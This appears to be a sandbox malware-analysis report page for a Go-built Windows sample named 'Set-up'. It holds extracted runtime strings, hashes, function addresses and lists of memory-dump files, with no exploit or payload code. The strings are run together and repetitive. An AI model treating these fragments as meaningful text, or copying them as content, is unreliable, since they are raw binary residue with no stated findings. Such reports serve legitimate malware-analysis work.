String ID: (forced) B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail =$ KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte li$ KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b$ [controller reset] called using nil *, g->atomicstatus=, gp->atomicstatus=149011611938476562520060102150405Z07007450580596923828125ARM64 little endianAltai Standard TimeBahia Standard TimeCanadian_AboriginalChina Standard TimeCreateSymbolicLinkWCryptReleaseC$% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNativeRejangSCHED STREETSt
API String ID: 0-3417895583
Opcode ID: 4ed1d611d909a9908ac693b53ac4d6a36332f60ea246bbf46dd4011c3f521dd9
Instruction ID: ea98951581424c62189c89578cc1478410064531915ebdf40b7a61d123924fd2
Opcode Fuzzy Hash: 4ed1d611d909a9908ac693b53ac4d6a36332f60ea246bbf46dd4011c3f521dd9
Instruction Fuzzy Hash: A551E3B45087409FC704EF64E18162EBBE1EB88744F44892EF8D88B355E7B4D9449B73

Function 00D7FDE0 Relevance: 6.3, Strings: 5, Instructions: 76COMMON

Download Yara Rule

Strings

wirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundx509: malformed spkizlib: invalid header of unexported method pcHeader.textStart= previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPri, xrefs: 00D7FEF4
()*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02, xrefs: 00D7FE77
) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetParamECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCExportedTypeFieldMarshalFindNext, xrefs: 00D7FEA1
wirep: invalid p statex509: malformed issuerzero length BIT STRINGzlib: invalid checksum) must be a power of 223283064365386962890625<invalid .Value>Argentina Standard TimeAstrakhan Standard TimeCertGetCertificateChainDeleteVolumeMountPointWDestroyEnvi, xrefs: 00D7FED5
wirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= wo, xrefs: 00D7FE4D

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ()*+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02$) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCallFuncDispGetParamECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ErrUnknownPCExportedTypeFieldMarshalFindNext$wirep: already in goworkbuf is not emptywrite of Go pointer ws2_32.dll not foundx509: malformed spkizlib: invalid header of unexported method pcHeader.textStart= previous allocCount=, levelBits[level] = 186264514923095703125931322574615478515625AdjustTokenPri$wirep: invalid p statex509: malformed issuerzero length BIT STRINGzlib: invalid checksum) must be a power of 223283064365386962890625<invalid .Value>Argentina Standard TimeAstrakhan Standard TimeCertGetCertificateChainDeleteVolumeMountPointWDestroyEnvi$wirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= wo
API String ID: 0-1935930808
Opcode ID: 9bc7def51281a35b6288e2b3656793200247b6d683b038f8b66dbad05d3f5a48
Instruction ID: fb54792f07b4f921298445a37a71ca627d04cffbf6d7c416097c20d2c2e687af
Opcode Fuzzy Hash: 9bc7def51281a35b6288e2b3656793200247b6d683b038f8b66dbad05d3f5a48
Instruction Fuzzy Hash: 9631C1B46097058FD710EF68D185A1ABBE0FF88704F45C96DE8888B316E7B4D8489B72

Function 00D70690 Relevance: 6.3, Strings: 5, Instructions: 71COMMON

Download Yara Rule

Strings

already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory, xrefs: 00D70759
runtime/internal/runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait , xrefs: 00D7079E
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D70783
., xrefs: 00D70737
runtime: failed to create new OS thread (have runtime: name offset base pointer out of rangeruntime: panic before malloc heap initializedruntime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external, xrefs: 00D7072E

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: runtime/internal/runtime: level = runtime: nameOff runtime: pointer runtime: summary[runtime: textOff runtime: typeOff scanobject n == 0select (no cases)stack: frame={sp:swept cached spanthread exhaustionunknown caller pcunknown type kindwait $ already; errno= mheap.sweepgen= not in ranges: untyped locals , not a function0123456789ABCDEF0123456789abcdef2384185791015625: value of type AddDllDirectory$), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$.$runtime: failed to create new OS thread (have runtime: name offset base pointer out of rangeruntime: panic before malloc heap initializedruntime: text offset base pointer out of rangeruntime: type offset base pointer out of rangesignal arrived during external
API String ID: 0-1382676746
Opcode ID: c8506752a9373a7c1d816829575b985a494a02b0599886ea643c2f3c4393bee5
Instruction ID: 34395548faa92923abb5993c21087e8fec0b8b165db227919ef8052eb0819261
Opcode Fuzzy Hash: c8506752a9373a7c1d816829575b985a494a02b0599886ea643c2f3c4393bee5
Instruction Fuzzy Hash: A731ACB4509704DFD700EF68E18565ABBE4FB88704F41892DE88887355E7B8A9489B63

Function 00D6DFC0 Relevance: 5.2, Strings: 4, Instructions: 230COMMON

Download Yara Rule

Strings

) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNS, xrefs: 00D6E212
runtime: GetQueuedCompletionStatusEx failed (errno= runtime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %vcompileCallback: argument size is larger than uintpt, xrefs: 00D6E1E7
4, xrefs: 00D6E1F0
runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncat, xrefs: 00D6E22D

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTASTAprAugBSTCATCDTCETCLRCSTDSADecDltE (EATEDTEETEOFESTFPOFebFriGMTHDTHSTHanIATIDTISTJSTJanJulJunKSTLaoMD4MD5MDTMPXMSKMSTMarMayMonMroNDTNS$4$runtime: GetQueuedCompletionStatusEx failed (errno= runtime: use of FixAlloc_Alloc before FixAlloc_Initspan set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %vcompileCallback: argument size is larger than uintpt$runtime: netpoll failedruntime: s.allocCount= s.allocCount > s.nelemsschedule: holding lockssegment length too longshrinkstack at bad timespan has no free stacksstack growth after forksyntax error in patternsystem huge page size (too many pointers (>10)truncat
API String ID: 0-3734344902
Opcode ID: 9bfef03ed9f37968f19ac10ea5e6e0e7a39baa58559ee01278ded8ab6ca8ca01
Instruction ID: 9132bb2981a7e6d97cfcc25e3777bdc88cb430a392ddefd01e4e417dd1a210f6
Opcode Fuzzy Hash: 9bfef03ed9f37968f19ac10ea5e6e0e7a39baa58559ee01278ded8ab6ca8ca01
Instruction Fuzzy Hash: 1BA14AB86093518FD760DF24C080B5EBBE1FF88748F08892DE99987381E775D9459BA3

Function 00D78D30 Relevance: 5.2, Strings: 4, Instructions: 229COMMON

Download Yara Rule

Strings

forEachP: P did not run fnfreedefer with d.fn != nilinitSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptorname not unique on networkno CSI structure availableno message of desired type, xrefs: 00D7904C
forEachP: sched.safePointWait != 0invalid padding bits in BIT STRINGmspan.ensureSwept: m is not lockedout of memory allocating allArenaspkcs7: attribute %s does not exist : ChanDir of non-chan type : Field index out of bounds : Field of non-, xrefs: 00D79078
forEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks availablenon-minimal lengthoperation canceled :, xrefs: 00D79062
", xrefs: 00D79081

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: "$forEachP: P did not run fnfreedefer with d.fn != nilinitSpan: unaligned lengthinvalid argument to Int31ninvalid argument to Int63ninvalid port %q after hostinvalid request descriptorname not unique on networkno CSI structure availableno message of desired type$forEachP: not donegarbage collectionidentifier removedindex out of rangeinput/output errorinvalid character multihop attemptedno child processesno locks availablenon-minimal lengthoperation canceled :$forEachP: sched.safePointWait != 0invalid padding bits in BIT STRINGmspan.ensureSwept: m is not lockedout of memory allocating allArenaspkcs7: attribute %s does not exist : ChanDir of non-chan type : Field index out of bounds : Field of non-
API String ID: 0-3226464621
Opcode ID: cceafdf2c111f934de6083df50f23ee70250619ea758f0d7eb229f4ae43b921a
Instruction ID: 42251bc42186c04142ddcc3cea17f87e0a9ffc577532dd3211b5d10bcaafd8f3
Opcode Fuzzy Hash: cceafdf2c111f934de6083df50f23ee70250619ea758f0d7eb229f4ae43b921a
Instruction Fuzzy Hash: A5A13674208305CFC314EF24D094A6ABBE1FB99704F14886DE8C987356EB35E985DF62

Function 00D88C10 Relevance: 5.2, Strings: 4, Instructions: 221COMMON

Download Yara Rule

Strings

racy sudog adjustment due to parking on channelruntime: CreateIoCompletionPort failed (errno= slice bounds out of range [::%x] with length %yx509: internal error: IP SAN %x failed to parsex509: malformed public key algorithm identifierCreateWaitableTimerEx whe, xrefs: 00D88EA1
', xrefs: 00D88F4B
stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWRITE function transport endpoint is already connectedx509: failed to parse URI constraint %qx509: invalid NameConstrai, xrefs: 00D88F42
nil stackbaseout of memoryparsing time powrprof.dll, xrefs: 00D88F2C

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: '$nil stackbaseout of memoryparsing time powrprof.dll$racy sudog adjustment due to parking on channelruntime: CreateIoCompletionPort failed (errno= slice bounds out of range [::%x] with length %yx509: internal error: IP SAN %x failed to parsex509: malformed public key algorithm identifierCreateWaitableTimerEx whe$stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWRITE function transport endpoint is already connectedx509: failed to parse URI constraint %qx509: invalid NameConstrai
API String ID: 0-3277552357
Opcode ID: 70f11ae28389eb2193a23ece6a7ab21ffae9f367521114556cbca009883040c1
Instruction ID: c598e3d3394bcf56051f1ca0968e65bcaa654282a0160762e6da8b2b59d4eb31
Opcode Fuzzy Hash: 70f11ae28389eb2193a23ece6a7ab21ffae9f367521114556cbca009883040c1
Instruction Fuzzy Hash: 0BA1DD746093408FC758EF28C180A5AFBF1FF88710F55892EE99987352EB70E844DB66

Function 00D51D80 Relevance: 5.2, Strings: 4, Instructions: 198COMMON

Download Yara Rule

Strings

runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedunfinished open-coded defers in deferreturnunknown runnable goroutine during bootstrapx5, xrefs: 00D51E6C
but progSize nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertClos, xrefs: 00D51E96
heapBitsSetTypeGCProg: unexpected bit countinterrupted system call should be restartedmethodValueCallFrameObjs is not in a modulemult64bitPow10: power of 10 is out of rangemultiple Read calls return no data or errornon in-use span found with specials bit setof, xrefs: 00D51ECA
+, xrefs: 00D51ED3

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: but progSize nmidlelocked= on zero Value out of range procedure in to finalizer untyped args -thread limit/log/filter.go/log/helper.go1907348632812595367431640625: extra text: Align 16-BytesAlign 32-BytesAlign 64-BytesBstrFromVectorCET CompatibleCertClos$+$heapBitsSetTypeGCProg: unexpected bit countinterrupted system call should be restartedmethodValueCallFrameObjs is not in a modulemult64bitPow10: power of 10 is out of rangemultiple Read calls return no data or errornon in-use span found with specials bit setof$runtime: heapBitsSetTypeGCProg: total bits runtime: releaseSudog with non-nil gp.paramruntime:stoplockedm: lockedg (atomicstatus=transform: inconsistent byte count returnedunfinished open-coded defers in deferreturnunknown runnable goroutine during bootstrapx5
API String ID: 0-2138322421
Opcode ID: c8d3b26e62ce5d81e7f15fed77a0ca0c0ba1e814632c432c639523d13f3866f5
Instruction ID: d6015a7d83cb391f0eb57782725d42e14fd23205737bd536fd4a57196dc41fb8
Opcode Fuzzy Hash: c8d3b26e62ce5d81e7f15fed77a0ca0c0ba1e814632c432c639523d13f3866f5
Instruction Fuzzy Hash: CD715D756093418BCB08EF68C59532EB7D2EF95301F55892DEC8A87382DB75C84987B3

Function 00D49780 Relevance: 5.2, Strings: 4, Instructions: 185COMMON

Download Yara Rule

Strings

runtime: unable to acquire - semaphore out of syncunhandled metadata table %d %s offset 0x%x cols %dx509: RSA public exponent is not a positive numberx509: invalid RDNSequence: invalid attribute valuex509: missing ASN.1 contents; use ParseCertificateExport dir, xrefs: 00D499B1
1, xrefs: 00D499D0
notetsleep - waitm out of syncprotocol wrong type for socket : Elem of invalid type : Len of non-array type : Out of non-func type rich header parsing failed: %vrunqputslow: queue is not fullruntime: bad g in cgocallbackruntime: bad pointer, xrefs: 00D49835
